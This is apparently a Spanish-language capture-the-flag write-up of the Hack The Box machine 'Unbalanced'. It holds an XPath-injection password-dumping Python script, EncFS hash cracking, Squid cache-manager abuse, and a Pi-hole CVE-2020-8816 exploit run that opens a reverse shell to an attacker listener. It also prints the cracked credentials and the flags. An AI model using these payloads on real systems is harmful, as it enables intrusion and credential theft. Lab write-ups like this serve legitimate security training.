Unbalanced



Conocimientos

  • Enumeración de Rsync

  • Decrypt de Encrypted File System

  • Enumeración de Squid Proxy

  • XPath Inyection

  • Python Scripting

  • Local Port Forwarding

  • Abuso de Pi-hole

  • Information Disclosure

  • Reutilización de contraseña (Escalada de Privilegios)


Reconocimiento

Escaneo de puertos con nmap

Descubrimiento de puertos abiertos

nmap -p- --open --min-rate 5000 -n -Pn -sS 10.10.10.200 -oG openports
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-09 11:52 GMT
Nmap scan report for 10.10.10.200
Host is up (0.061s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
873/tcp  open  rsync
3128/tcp open  squid-http

Nmap done: 1 IP address (1 host up) scanned in 11.87 seconds

Escaneo de versión y servicios de cada puerto

nmap -sCV -p22,873,3128 10.10.10.200 -oN portscan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-09 12:01 GMT
Nmap scan report for 10.10.10.200
Host is up (0.064s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 a2765cb0886f9e62e88351e7cfbf2df2 (RSA)
|   256 d065fbf63e11b1d6e6f75ec0150c0a77 (ECDSA)
|_  256 5e2b93591d49288d432cc1f7e3370f83 (ED25519)
873/tcp  open  rsync      (protocol version 31)
3128/tcp open  http-proxy Squid http proxy 4.6
|_http-server-header: squid/4.6
|_http-title: ERROR: The requested URL could not be retrieved
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.68 seconds

Puerto 873 (RSYNC)

Puedo listar recursos

rsync rsync://10.10.10.200:873
conf_backups   	EncFS-encrypted configuration backups

En los backups hay un null

rsync rsync://10.10.10.200:873/conf_backups/
drwxr-xr-x          4,096 2020/04/04 15:05:32 .
-rw-r--r--            288 2020/04/04 15:05:31 ,CBjPJW4EGlcqwZW4nmVqBA6
-rw-r--r--            135 2020/04/04 15:05:31 -FjZ6-6,Fa,tMvlDsuVAO7ek
-rw-r--r--          1,297 2020/04/02 13:06:19 .encfs6.xml
-rw-r--r--            154 2020/04/04 15:05:32 0K72OfkNRRx3-f0Y6eQKwnjn

Me lo traigo a mi equipo para ver su contenido

rsync -av rsync://10.10.10.200:873/conf_backups/ .
 <?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE boost_serialization>
 <boost_serialization signature="serialization::archive" version="7">
     <cfg class_id="0" tracking_level="0" version="20">
         <version>20100713</version>
         <creator>EncFS 1.9.5</creator>
         <cipherAlg class_id="1" tracking_level="0" version="0">
             <name>ssl/aes</name>
             <major>3</major>
             <minor>0</minor>
         </cipherAlg>
         <nameAlg>
             <name>nameio/block</name>
             <major>4</major>
             <minor>0</minor>
         </nameAlg>
         <keySize>192</keySize>
         <blockSize>1024</blockSize>
         <plainData>0</plainData>
         <uniqueIV>1</uniqueIV>
         <chainedNameIV>1</chainedNameIV>
         <externalIVChaining>0</externalIVChaining>
         <blockMACBytes>0</blockMACBytes>
         <blockMACRandBytes>0</blockMACRandBytes>
         <allowHoles>1</allowHoles>
         <encodedKeySize>44</encodedKeySize>
         <encodedKeyData>
 GypYDeps2hrt2W0LcvQ94TKyOfUcIkhSAw3+iJLaLK0yntwAaBWj6EuIet0=
 </encodedKeyData>
         <saltLen>20</saltLen>
         <saltData>
 mRdqbk2WwLMrrZ1P6z2OQlFl8QU=
 </saltData>
         <kdfIterations>580280</kdfIterations>
         <desiredKDFDuration>500</desiredKDFDuration>
     </cfg>
 </boost_serialization>

El resto de los datos no son legibles, ya que están cifrados por encfs. Necesito una contraseña

encfs /home/rubbx/Desktop/HTB/Machines/Unbalanced/rsn /home/rubbx/Desktop/HTB/Machines/Unbalanced/decrypt
EncFS Password:

Creo un hash equivalente para crackearlo por fuerza bruta

encfs2john rsn/ > hash
john -w:/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (EncFS [PBKDF2-SHA1 256/256 AVX2 8x AES])
Cost 1 (iteration count) is 580280 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bubblegum        (rsn/)     
1g 0:00:00:10 DONE (2023-03-09 13:06) 0.09794g/s 72.08p/s 72.08c/s 72.08C/s bambam..raquel
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Aplico el decrypt y puedo ver el contenido

ls
50-localauthority.conf		   dconf		   fakeroot-x86_64-linux-gnu.conf  kernel-img.conf   mke2fs.conf		      parser.conf	  squid.conf		 Vendor.conf
50-nullbackend.conf		   debconf.conf	   framework.conf		   ldap.conf	     modules.conf		      protect-links.conf  sysctl.conf		 wpa_supplicant.conf
51-debian-sudo.conf		   debian.conf		   fuse.conf			   ld.so.conf	     namespace.conf		      reportbug.conf	  system.conf		 x86_64-linux-gnu.conf
70debconf			   deluser.conf	   gai.conf			   libaudit.conf     network.conf		      resolv.conf	  time.conf		 xattr.conf
99-sysctl.conf			   dhclient.conf	   group.conf			   libc.conf	     networkd.conf		      resolved.conf	  timesyncd.conf
access.conf			   discover-modprobe.conf  hdparm.conf			   limits.conf       nsswitch.conf		      rsyncd.conf	  ucf.conf
adduser.conf			   dkms.conf		   host.conf			   listchanges.conf  org.freedesktop.PackageKit.conf  rsyslog.conf	  udev.conf
bluetooth.conf			   dns.conf		   initramfs.conf		   logind.conf       PackageKit.conf		      semanage.conf	  update-initramfs.conf
ca-certificates.conf		   dnsmasq.conf	   input.conf			   logrotate.conf    pam.conf			      sepermit.conf	  user.conf
com.ubuntu.SoftwareProperties.conf  docker.conf		   journald.conf		   main.conf	     pam_env.conf		      sleep.conf	  user-dirs.conf

Crea una montura temporal

df -h
Filesystem      Size  Used Avail Use% Mounted on
udev            4.5G     0  4.5G   0% /dev
tmpfs           911M  1.2M  909M   1% /run
/dev/sda2       238G   35G  191G  16% /
tmpfs           4.5G     0  4.5G   0% /dev/shm
tmpfs           5.0M     0  5.0M   0% /run/lock
tmpfs           911M   92K  910M   1% /run/user/1000
encfs           238G   35G  191G  16% /home/rubbx/Desktop/HTB/Machines/Unbalanced/decrypt

De todo filtro por usuarios y contraseñas

cat * | grep -v "^#" | sed '/^\s*$/d' | grep -E "username|password"
Reject-Type: password
Name: passwords
Accept-Type: password
Filename: /var/cache/debconf/passwords.dat
Stack: config, passwords

Pero no aparece ninguna en texto claro. Un archivo corresponde a la configuración del SQUID-PROXY, que está desplegado en el puerto 3128

cat squid.conf | grep -v "^#" | sed '/^\s*$/d'
acl localnet src 0.0.0.1-0.255.255.255      # RFC 1122 "this" network (LAN)
acl localnet src 10.0.0.0/8             # RFC 1918 local private network (LAN)
acl localnet src 100.64.0.0/10          # RFC 6598 shared address space (CGN)
acl localnet src 169.254.0.0/16         # RFC 3927 link-local (directly plugged) machines
acl localnet src 172.16.0.0/12          # RFC 1918 local private network (LAN)
acl localnet src 192.168.0.0/16         # RFC 1918 local private network (LAN)
acl localnet src fc00::/7               # RFC 4193 local private network range
acl localnet src fe80::/10              # RFC 4291 link-local (directly plugged) machines
acl SSL_ports port 443
acl Safe_ports port 80          # http
acl Safe_ports port 21          # ftp
acl Safe_ports port 443         # https
acl Safe_ports port 70          # gopher
acl Safe_ports port 210         # wais
acl Safe_ports port 1025-65535  # unregistered ports
acl Safe_ports port 280         # http-mgmt
acl Safe_ports port 488         # gss-http
acl Safe_ports port 591         # filemaker
acl Safe_ports port 777         # multiling http
acl CONNECT method CONNECT
http_access deny !Safe_ports
http_access deny CONNECT !SSL_ports
http_access allow manager
include /etc/squid/conf.d/*
http_access allow localhost
acl intranet dstdomain -n intranet.unbalanced.htb
acl intranet_net dst -n 172.16.0.0/12
http_access allow intranet
http_access allow intranet_net
http_access deny all
http_port 3128
coredump_dir /var/spool/squid
refresh_pattern ^ftp:           1440    20%     10080
refresh_pattern ^gopher:        1440    0%      1440
refresh_pattern -i (/cgi-bin/|\?) 0     0%      0
refresh_pattern .               0       20%     4320
cachemgr_passwd Thah$Sh1 menu pconn mem diskd fqdncache filedescriptors objects vm_objects counters 5min 60min histograms cbdata sbuf events
cachemgr_passwd disable all
cache disable

Añado el dominio intraned.unbalanced.htb al /etc/hosts. Se puede ver una contraseña, Thah$Sh1

Aplico otra búsqueda y encuentro credenciales

cat * | grep -v "^#" | grep user
AdminIdentities=unix-user:0
  <policy user="root">
  <!-- allow users of bluetooth group to communicate -->
  <!-- allow users of lp group (printing subsystem) to 
  <policy user="root">
  owner /{,var/}run/user/*/dconf/user r,
  owner @{HOME}/.config/dconf/user r,
        <policy user="root">
        <policy user="dnsmasq">
        default_mntopts = acl,user_xattr
  <!-- Only user root can own the PackageKit service -->
  <policy user="root">
user.*                          -/var/log/user.log
        <policy user="root">
user.Beagle.*                   skip            # ignore Beagle index data

Puedo ver puertos abiertos internamente. Para pasar por el proxy, agrego una configuración en el BurpSuite

Puerto 3128 (HTTP-PROXY)

La página principal se ve así:

Todos los Squid Proxy tienen una ruta de administración, squid-internal-mgr

curl -s -X GET 'http://10.10.10.200:3128/squid-internal-mgr/menu' | html2text

****** ERROR ******
***** Cache Manager Access Denied. *****
===============================================================================
The following error was encountered while trying to retrieve the URL: http://
unbalanced:3128/squid-internal-mgr/menu
     Cache Manager Access Denied.
Sorry, you are not currently allowed to request http://unbalanced:3128/squid-
internal-mgr/menu from this cache manager until you have authenticated
yourself.
Please contact the cache_administrator if you have difficulties authenticating
yourself or, if you are the administrator, read Squid documentation on cache
manager interface and check cache log for more detailed error messages.

===============================================================================
Generated Thu, 09 Mar 2023 13:39:45 GMT by unbalanced (squid/4.6)

Pruebo las credenciales que ya tengo

curl -s -X GET 'http://:Thah$Sh1@10.10.10.200:3128/squid-internal-mgr/menu' | grep -v "disabled"
 menu                     Cache Manager Menu                      protected
 pconn                  Persistent Connection Utilization Histograms    protected
 mem                    Memory Utilization                      protected
 diskd                  DISKD Stats                             protected
 fqdncache              FQDN Cache Stats and Contents           protected
 filedescriptors        Process Filedescriptor Allocation       protected
 objects                All Cache Objects                       protected
 vm_objects             In-Memory and In-Transit Objects        protected
 counters               Traffic and Resource Counters           protected
 5min                   5 Minute Average of Counters            protected
 60min                  60 Minute Average of Counters           protected
 histograms             Full Histogram Counts                   protected
 cbdata                 Callback Data Registry Contents         protected
 sbuf                   String-Buffer statistics                protected
 events                 Event Queue                             protected

El subdominio sí que carga

La parte de registro no es vulnerable a ningún tipo de inyección. Sin embargo, en las cabeceras de respuesta se puede ver que se están empleando balanceadores de carga

Puedo tratar de abusar del FQDN para obtener más información del equipo, a través del menú de Administración´

curl -s -X GET 'http://:Thah$Sh1@10.10.10.200:3128/squid-internal-mgr/fqdncache'
FQDN Cache Statistics:
FQDNcache Entries In Use: 10
FQDNcache Entries Cached: 8
FQDNcache Requests: 427
FQDNcache Hits: 0
FQDNcache Negative Hits: 117
FQDNcache Misses: 310
FQDN Cache Contents:

Address                                       Flg TTL Cnt Hostnames
127.0.1.1                                       H -001   2 unbalanced.htb unbalanced
::1                                             H -001   3 localhost ip6-localhost ip6-loopback
172.31.179.2                                    H -001   1 intranet-host2.unbalanced.htb
172.31.179.3                                    H -001   1 intranet-host3.unbalanced.htb
127.0.0.1                                       H -001   1 localhost
172.17.0.1                                      H -001   1 intranet.unbalanced.htb
ff02::1                                         H -001   1 ip6-allnodes
ff02::2                                         H -001   1 ip6-allrouters

Apuntan a distintas IP. No es necesario agregarlas al /etc/hosts, ya que estoy pasando por un proxy. De hecho, entraría en conflicto. Podría intentar conectarme a otra IP aunque no aparezca en esta lista

A pesar de ello, la ruta /intranet.php existe. En este caso, al tratar de iniciar sesión se ve reflejado un error en la respuesta

Si introduzco una comilla, desaparece. Pero no se trata de una inyección SQL. En caso de utilizar SQLMap no va a detectar nada. Se trata de una XPath Inyection

Username=admin&Password=' or 1=1 or ''='

Obtengo todos los usuarios

curl -s -X POST http://172.31.179.1/intranet.php -d "Username=admin&Password=' or 1=1 or ''='" --proxy http://10.10.10.200:3128 | grep -oP '<p>.*?</p>' | grep htb | tr -d ' ' | sed 's/<p>//' | sed 's/<\/p>//'
rita@unbalanced.htb
jim@unbalanced.htb
bryan@unbalanced.htb
sarah@unbalanced.htb

PayloadAllThethings tiene una guía de las XPath Inyection. Utilizo el Intruder de BurpSuite para bruteforcear la longitud de la contraseña para un usuario dado

El total es 11. Como ha funcionado, creo un script en python que se encargue de dumpear las contraseñas para cada usuario. Lo primero es saber la longitud

#!/usr/bin/python3

import sys, signal, requests, time, string, pdb

def def_handler(sig, frame):
    sys.exit(1)

# Ctrl+C
signal.signal(signal.SIGINT, def_handler)

# Variables globales
login_url = "http://172.31.179.1/intranet.php"
characters = string.ascii_lowercase + string.ascii_uppercase + string.digits + string.punctuation
users = ["rita", "jim", "bryan", "sarah"]
burp = {'http': 'http://127.0.0.1:8080'}


def getpasslen(user):

    for length in range(1, 40):
        post_data = {
        'Username':'admin',
        "Password": "admin' or Username='%s' and string-length(Password)='%d" % (user, length)
        }

        r = requests.post(login_url, data=post_data, proxies=burp)

        if "Invalid credentials." not in r.text:
            return length


def getpass(user, length):

    password = ""

    for position in range(1, length+1):

        for character in characters:
            post_data = {
            'Username':'admin',
            "Password": "admin' or Username='%s' and substring(Password,%d,1)='%s" % (user, position, character)
            }

            r = requests.post(login_url, data=post_data, proxies=burp)

            if "Invalid credentials." not in r.text:
                password += character
                break
    return password


if __name__ == '__main__':

    for user in users:
        length = getpasslen(user)
        print("[+] User %s: %d characters" % (user, length))

        password = getpass(user, length)
        print("\t[+] Password %s" % password)
python3 xpathi.py
[+] User rita: 11 characters
        [+] Password password01!
[+] User jim: 16 characters
        [+] Password stairwaytoheaven
[+] User bryan: 23 characters
        [+] Password ireallyl0vebubblegum!!!
[+] User sarah: 10 characters
        [+] Password sarah4evah

Una es válida por SSH

crackmapexec ssh 10.10.10.200 -u users -p passwords | grep "+"
SSH         10.10.10.200    22     10.10.10.200     [*] SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2
SSH         10.10.10.200    22     10.10.10.200     [+] bryan:ireallyl0vebubblegum!!! 
ssh bryan@10.10.10.200
The authenticity of host '10.10.10.200 (10.10.10.200)' can't be established.
ED25519 key fingerprint is SHA256:5T7VuIDF8HLe+9mylE15ZnHdZBlNTB/FeEORjKmivf0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.200' (ED25519) to the list of known hosts.
bryan@10.10.10.200's password: 
Linux unbalanced 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jun 17 14:16:06 2020 from 10.10.10.4
bryan@unbalanced:~$ 

Puedo ver la primera flag

bryan@unbalanced:~$ cat user.txt 
703589884e93d69c30213989bb322a67

Escalada

En su directorio personal hay un archivo TODO

############
# Intranet #
############
* Install new intranet-host3 docker [DONE]
* Rewrite the intranet-host3 code to fix Xpath vulnerability [DONE]
* Test intranet-host3 [DONE]
* Add intranet-host3 to load balancer [DONE]
* Take down intranet-host1 and intranet-host2 from load balancer (set as quiescent, weight zero) [DONE]
* Fix intranet-host2 [DONE]
* Re-add intranet-host2 to load balancer (set default weight) [DONE]
- Fix intranet-host1 [TODO]
- Re-add intranet-host1 to load balancer (set default weight) [TODO]

###########
# Pi-hole #
###########
* Install Pi-hole docker (only listening on 127.0.0.1) [DONE]
* Set temporary admin password [DONE]
* Create Pi-hole configuration script [IN PROGRESS]
- Run Pi-hole configuration script [TODO]
- Expose Pi-hole ports to the network [TODO]

Miro los puertos que están abiertos internamente

bryan@unbalanced:/$ ss -nltp
State                       Recv-Q                      Send-Q                                             Local Address:Port                                             Peer Address:Port                      
LISTEN                      0                           128                                                    127.0.0.1:8080                                                  0.0.0.0:*                         
LISTEN                      0                           128                                                    127.0.0.1:5553                                                  0.0.0.0:*                         
LISTEN                      0                           32                                                       0.0.0.0:53                                                    0.0.0.0:*                         
LISTEN                      0                           128                                                      0.0.0.0:22                                                    0.0.0.0:*                         
LISTEN                      0                           5                                                        0.0.0.0:873                                                   0.0.0.0:*                         
LISTEN                      0                           32                                                          [::]:53                                                       [::]:*                         
LISTEN                      0                           128                                                         [::]:22                                                       [::]:*                         
LISTEN                      0                           128                                                            *:3128                                                        *:*                         
LISTEN                      0                           5                                                           [::]:873                                                      [::]:*                         

Me traigo el puerto 8080 con Local Port Forwading

ssh bryan@10.10.10.200 -L 8080:127.0.0.1:8080

Busco por exploits públicos hacia este servicio y examino uno que contempla una escalada de privilegios

searchsploit -x python/webapps/48727.py

En las cabeceras que emite se puede ver una ruta

headers = {"Origin":url,"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0","Connection":"close","Referer":url + "/admin/index.php?login","Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding":"gzip, deflate","Content-Type":"application/x-www-form-urlencoded"}

Existe en este caso

Pruebo credenciales por defecto, admin:admin. Busco por el CVE y me descargo otro exploit de Github, que esté más funcional. Ejecuto y recibo una reverse shell

 python3 CVE-2020-8816.py http://127.0.0.1:8080 admin 10.10.16.9 443
Attempting to verify if Pi-hole version is vulnerable
Logging in...
Login succeeded
Grabbing CSRF token
Attempting to read $PATH
nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.10.200] 59104
/bin/sh: 0: can't access tty; job control turned off
$ script /dev/null -c bash
Script started, file is /dev/null
www-data@pihole:/var/www/html/admin$ ^Z
zsh: suspended  nc -nlvp 443
❯ stty raw -echo; fg
[1]  + continued  nc -nlvp 443
                              reset xterm
www-data@pihole:/var/www/html/admin$ export TERM=xterm
www-data@pihole:/var/www/html/admin$ export SHELL=bash
www-data@pihole:/var/www/html/admin$ stty rows 55 columns 209

Estoy dentro de un contenedor

www-data@pihole:/var/www/html/admin$ whoami
www-data
www-data@pihole:/var/www/html/admin$ hostname -I
172.31.11.3 

Tengo acceso al directorio /root

www-data@pihole:/root$ ls
ph_install.sh  pihole_config.sh

Un archivo tiene una contraseña en texto claro

www-data@pihole:/root$ cat pihole_config.sh
#!/bin/bash

# Add domains to whitelist
/usr/local/bin/pihole -w unbalanced.htb
/usr/local/bin/pihole -w rebalanced.htb

# Set temperature unit to Celsius
/usr/local/bin/pihole -a -c

# Add local host record
/usr/local/bin/pihole -a hostrecord pihole.unbalanced.htb 127.0.0.1

# Set privacy level
/usr/local/bin/pihole -a -l 4

# Set web admin interface password
/usr/local/bin/pihole -a -p 'bUbBl3gUm$43v3Ry0n3!'

# Set admin email
/usr/local/bin/pihole -a email admin@unbalanced.htb

Se reutiliza para el usuario root en la máquina host

www-data@pihole:/root$ cat pihole_config.sh
#!/bin/bash

# Add domains to whitelist
/usr/local/bin/pihole -w unbalanced.htb
/usr/local/bin/pihole -w rebalanced.htb

# Set temperature unit to Celsius
/usr/local/bin/pihole -a -c

# Add local host record
/usr/local/bin/pihole -a hostrecord pihole.unbalanced.htb 127.0.0.1

# Set privacy level
/usr/local/bin/pihole -a -l 4

# Set web admin interface password
/usr/local/bin/pihole -a -p 'bUbBl3gUm$43v3Ry0n3!'

# Set admin email
/usr/local/bin/pihole -a email admin@unbalanced.htb

Puedo ver la segunda flag

bryan@unbalanced:/$ su root
Password: 
root@unbalanced:/# cat /root/root.txt 
59a2f0b95b8482a61a8aa6659f7d19d5